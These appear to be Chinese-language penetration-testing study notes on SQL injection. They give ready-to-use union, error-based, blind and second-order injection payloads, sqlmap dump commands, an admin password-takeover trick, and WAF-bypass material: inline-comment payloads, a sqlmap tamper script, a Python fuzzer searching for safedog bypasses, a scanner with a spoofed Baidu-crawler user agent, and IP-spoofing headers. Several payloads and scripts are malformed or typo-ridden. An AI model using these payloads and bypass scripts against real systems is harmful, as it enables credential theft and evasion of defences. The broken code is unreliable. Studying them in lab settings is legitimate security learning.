知识点:
在MYsQL5.o以上版本中,mysql存在一个自带数据库名为
information_schema,它是一个存储记录有所有数掘库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。

information_schema.tables: 记录所有表名信息的表
information_schema.columns: 记录所有列名信息的表

table__name :表名
column_name:列名
table_schema:数据库名

group_concat(table_name) 查询所有的表名

猜解列名数量(字段数)
order by x (x 变动,查看网页是否正常)

http://219.153.49.228:48354/new_list.php?id=1 order by 1

报错猜解准备(查看可显示的字段)

http://219.153.49.228:48354/new_list.php?id=-1 union select 1,2,3,4

信息收集:

数据库版本: version()
数据库名字: database()
数据库用户: user()
操作系统:   @@version_compile_os

http://219.153.49.228:48354/new_list.php?id=-1 union select 1,database(),3,version()

高版本MYSQL利用information_schema库的注入

必要知识点:
在MYSQL5.0以上版本中,mysql存在一个自带数据库名为
information_schema, 它是一个存储记录有所有数据库名,表名,列名的数据
库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
低版本只能暴力猜解

数据库中符号”. “代表下一级,如xiao.user表示xiao数据库下的user表名

information_schema.tables :记录所有表名信息的表
information_schema.columns :记录所有列名信息的表

table__name :表名
column_name:列名
table_schema:数据库名

group_concat(table_name) 查询所有的表名


查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:

http://219.153.49.228:48354/new_list.php?id=-1 union select1,group_concat (table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_stormGroup"

查询指定表名stormGroup_member下的列名信息:

http://219.153.49.228:48354/new_list.php?id=-1 union select1,group_concat (column_name),3,4 from information_schema.column where table_name='stormGroup_member'

查询指定数据信息:

http://219.153.49.228:48354/new_list.php?id=-1 union select1,name , password,4 from stormGroup_membor

猜解多个数据可以采用1imit x,1变动猜解

http://219.153.49.228:48354/new_list.php?id=-1 union select1,name , password,4 from stormGroup_membor limit x,1  (x变动)


高权限注入

获取所有数据库名:

http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata

获取指定qqyw数据库名下的表名信息:

union select i, group_concat (table_name) , 3 from information_schema.tables where table_achema='qqyw'

获取指定qqyw下的表名admin下的列名信息:

union select1,group_concat (column_name),3,4 from information_schema.column where table_name='admin' and information_schema='qqyw'

获取指定qayw下的admin数据

union select 1, u, p,4 from qqyw.admin

根据sql脚本的语法判断’’是否需要绕过

select *from user where id=’1’
select *from user where name=’xiaodi’
$name=$_GET[‘’];
$sql=”select * from user where name=’$name ‘ “;
?x=xiaodi and 1=1
select * from user where name=’xiaodi and 1=1’


SQL server / MSSQL注入语句

1.判断数据库类型

and exists (select * from sysobjects)--返回正常为mssql(也名sql server)
and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈

2.判断数据库类型

and 1 = @@version-- 有回显时使用。
and substring((select @@version),22,4)='2008'-- 适用于无回显模式,后面的2008就是数据库版本,返回正常及是该版本,否则修改版本再尝试。

3.获取数据库的个数

1. and 1=(select quotename(count(name)) from master..sysdatabases)--
2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --
3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) --
        and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --
说明:dbid从1-4的数据库一般为系统数据库.

5.获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用

and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))--
and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--

6.获取当前数据库

and db_name()>0
and 1=(select db_name())--

7.获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】

and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- 
and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U'  FOR XML PATH(''))--

8.获得表里的列一次爆指定表的所有列(只限于mssql2005及以上版本):

and 1=(select quotename(name) from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- 
and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--

9.获取指定数据库中的表的列的数据库

逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--

一次性爆N条所有字段的数据(只限于mssql2005及以上版本):

and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and  1=(select top 1 * from 指定数据库..指定表名 FOR XML  PATH(''))--加上where条件筛选结果出来会更加好,如:where  and name like '%user%'  就会筛选出含有user关键词的出来。用在筛选表段时很不错。

PostgraSQL注入语句

https://www.webshell.cc/524.html

https://www.cnblogs.com/yilishazi/p/14710349.html

https://www.jianshu.com/p/ba0297da2c2e

Oracle注入语句

https://www.cnblogs.com/peterpan0707007/p/8242119.html

MongoDB注入语句

https://blog.csdn.net/weixin_33881753/article/details/87981552

https://www.secpulse.com/archives/3278.html

#手工注入流程

高版本也可以利用information_schema库来注入(详细见上)

MySQL:

1.找到注入点 and 1=1 and 1=2 测试报错
2.order by 5 # 到5的时候报错,获取字段总数为4
3.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息
4.获取数据库信息
user() ==>root
database() ==>mozhe_Discuz_StormGroup
version() ==>5.7.22-0ubuntu0.16.04.1
5.获取数据库表
table_name 表名
information_schema.tables 系统生成信息表
table_schema=数据库名16进制或者用单引号括起来
改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice
6.获取列名
结果如下 id,name,password,status
7.脱裤

Access:

由于access数据库结构不同,一般只能通过暴力猜解的方式注入

1.and 1=2 报错找到注入点
2.order by 获取总字段
3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表
4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在
5.脱裤 union select 1,username,passwd,4 from admin

MSSQL:

1.and 1=2报错
2.order by N# 获取总字段
3.猜表名 and exists(select * from manage) 表名manage存在
4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在
5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在
and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8
and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16
可用Burp的Intruder功能辅助猜解
猜解username第1到8位的字符,ASCII转码 admin_mz
猜解password第1到16位的字符,ASCII转码(Burp 爆破)
转ASCII的py脚本:
72e1bfc3f01b7583 MD5解密为97285101

SQL注入—报错盲注

基于布尔的SQL盲注-逻辑判断(优先级:2)
regexp,like,ascii,left,ord,mid

基于时间的SQL盲注-延时判断(优先级:3)
if,sleep

基于报错的SQL盲注-报错回显(优先级:1)
floor,updatexml,extractvalue

基于报错的SQL盲注-报错回显

floor
payload:
pikachu insert

floor

username=x’ or(select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ‘
&password=xiaodi&sex=%E7%94%B7&phonenum=13878787788&email=wuhan&add=hubei &submit=submit

updatexml (个人觉得是最方便的)

username=x ‘ or updatexml(1,concat(0x7e,(version())),0) or ‘ & password=xiaodi & sex=%E7%94%B7 & honenum=13878787788 & email=wuhan & add=hubei & submit=submit

extractvalue

username=x ‘ or extractvalue(1,concat(0x7e,database())),0) or ‘

基于时间的SQL盲注-延时判断

and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+

substr截取字符串的第一位,共一位字符,若其ascii码为115,则休眠5s

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+

select table_name from information_schema.tables where table_schema=database() limit 0,1
查询information_schema.tables 表中数据库为当前数据库的,索引从0开始的,共一位的数据

基于布尔的SQL盲注-逻辑判断

页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

当前数据库database()的长度大于10,返回true页面,否则FALSE页面:

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 –+

count(*)计数 concat()连接字符 floor()重复数据,返回0,1两个值 group by 进行分组 rand(0)避免数据重复造成的错误

猜当前数据库第一个字符

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1'and ascii(substr(database(),1,1))>114#

利用二分法,115为fal,114TRUE,数据库第一个字符ASCII为115,即s

焯,使用sqlmap

爆出数据库版本

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1


爆数据库名

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -dbs


爆当前数据库

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 –current-db

爆出security下的表名

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -D security –tables

爆出security下users表的列名

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -D security -T users –columns


爆出指定列下的数据

sqlmap -u http://192.168.127.1:8080/sqli-labs/Less-8/?id=1 -D security -T users -C id,username,password –dump


加解密注入,二次注入,DNSlog注入

加解密注入

get或post传输参数时可能采用了base64的加密方式将参数传输给服务器

比如www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1

二次注入

  1. 原理

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,

当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。详细点来讲,就是在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc

对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,

直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,

就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞的。

  1. 过程
  2. 第一步:插入恶意数据

第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。

第二步:引用恶意数据

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

  1. 过程原理图

  1. 思路

a. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。

b. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

d. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。

e. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

DNSlog注入

  1. 原理
    首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,

这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,

来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

  1. 利用场景

  2. 在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。

  3. 推荐平台

a. http://www.dnslog.cn

b. http://ceye.io/(需要注册)

c. http://admin.dnslog.link

涉及资源

Sqlmap注入Base64编码的注入点:
https://www.bbsmax.com/A/A2dmVVQBze/
https://www.freebuf.com/column/184587.html
https://www.cnblogs.com/renhaoblog/p/12912452.html
https://www.pianshen.com/article/9561325277/
https://github.com/bugscanteam/dnslog/(自己搭建dnslog服务器)

靶场演练

cooke注入

先找出所有的库名

union select 1,2,group_concat(schema_name) from information_schema.schemata#


再爆出security下的表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+

再爆出表下有什么字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+

查看users里面所有账户和密码
Cookie: uname= ’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+

有加密的cooke注入


可发现uname处有base64加密

根据报错信息得知还需要在单引号后加上右括号

admin’) 然后进行编码,报错
admin’) #然后进行编码,回显正常
说明闭合方式为 ( ‘ ‘ )

注入Cookie uname=

1’) union select

MScpIHVuaW9uIHNlbGVjdCA=

本题需要注意的是闭合方式为 ( ‘ ‘ ) 和 加密注入

二次注入

在任何界面进行注入应该都是无效的,因为操作失败时会跳转到其他页面,而没有任何例如错误的回显信息。此处考虑的就不是之前那些把敏感信息弄出来的注入了,而是考虑利用改密码操作夺取其他账号的控制权。此处我们考虑二次注入,首先我们构造一个特殊的用户,该用户的用户名为 “admin’#”,密码随便设

使用admin’#进行登录

登录成功后,更改密码为123

返回主界面使用账户:admin 密码:123登录

此时如果将这个用户作为过滤条件实现记录的修改,该用户名后面的 “’#” 不仅能闭合字段,也能把后面的内容注释掉。而且成功闭合后,我们实际上操作的用户名应该是 “admin”。修改密码成功之后,使用用户名 “admin” 和我们修改的密码进行登录,发现我们夺去了该用户的密码,登录成功

如果用户名是 “admin’#”,则 SQL 语句会变成这样。

UPDATE users SET PASSWORD ='$pass' where username ='admin'#' and password='$curr_pass' 

由于此时符号没有转义,因此该用户名的 “#” 在 SQL 语句中会当做是注释

UPDATE users SET PASSWORD ='$pass' where username ='admin'#

因此实现了修改admin的密码。

DNS等注入

暂时没成功

WAF绕过

数据库特性(补充)
%23x%0aunion%23x%0Aselect%201,2,3    
%20/*!44509union*/%23x%0aselect%201,2,3
id=1/**&id=-1%20union%20select%201,2,3%23*/
%20union%20all%23%0a%20select%201,2,3%23

分析下句
%20union%20/!44509select/%201,2,3

在看下句
/*!50001 select * from test */

数据库特性,当数据库版本高于5.00.01时才会执行

/*!50001 select * from test */
这样就真的注释掉,不会执行了

FUZZ绕过脚本

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):

#%23a%0aunion/*!44575select*/1,2,3
    if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
    return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
    for xiaodi in a:
        for xiaodis in aa:
            for xiaodiss in aaa:
                for two in range(44500,44600):
                    urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
                    #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
                    try:
                        result=requests.get(urls).text
                        len_r=len(result)
                        if (result.find('safedog')==-1):
                            #print('bypass url addreess:'+urls+'|'+str(len_r))
                             print('bypass url addreess:'+urls+'|'+str(len_r))
                        if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
                    except Exception as err:
                        print('connecting error')
                        time.sleep(0.1)
if__name__=='__main__':
    print('fuzz strat!')
    bypass()

伪造成百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
    'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls.headers=head).status_code
    print(urls+'|'+str(code))

sqlmap temper脚本使用教程

https://blog.csdn.net/qq_34444097/article/details/82717357

其他方式

方式一:IP白名单

通过对网站ip地址的伪造,知道对方网站ip地址,那就默认为ip地址为白名单。

从网络层获取的ip,这种一般伪造不来,如果是获取客户端的ip,这样就饿可能存在伪造ip绕过的情况。

测试方法:修改http的header来by pass waf

X-forwarded-for
X-remote-IP
X-remote-addr
X-Real-IP

方式二:静态资源

特定的静态资源后缀请求,常见的静态文件(.js、.jpg、.swf、.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://127.0.0.1/sql.php?id=1

http://127.0.0.1/sql.php/1.js?id=1

备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。

方式三:url白名单

为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。

只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势
涉及资源:

https://www.cnblogs.com/backlion/p/9721687.html

https://blog.csdn.net/nzjdsds/article/details/93740686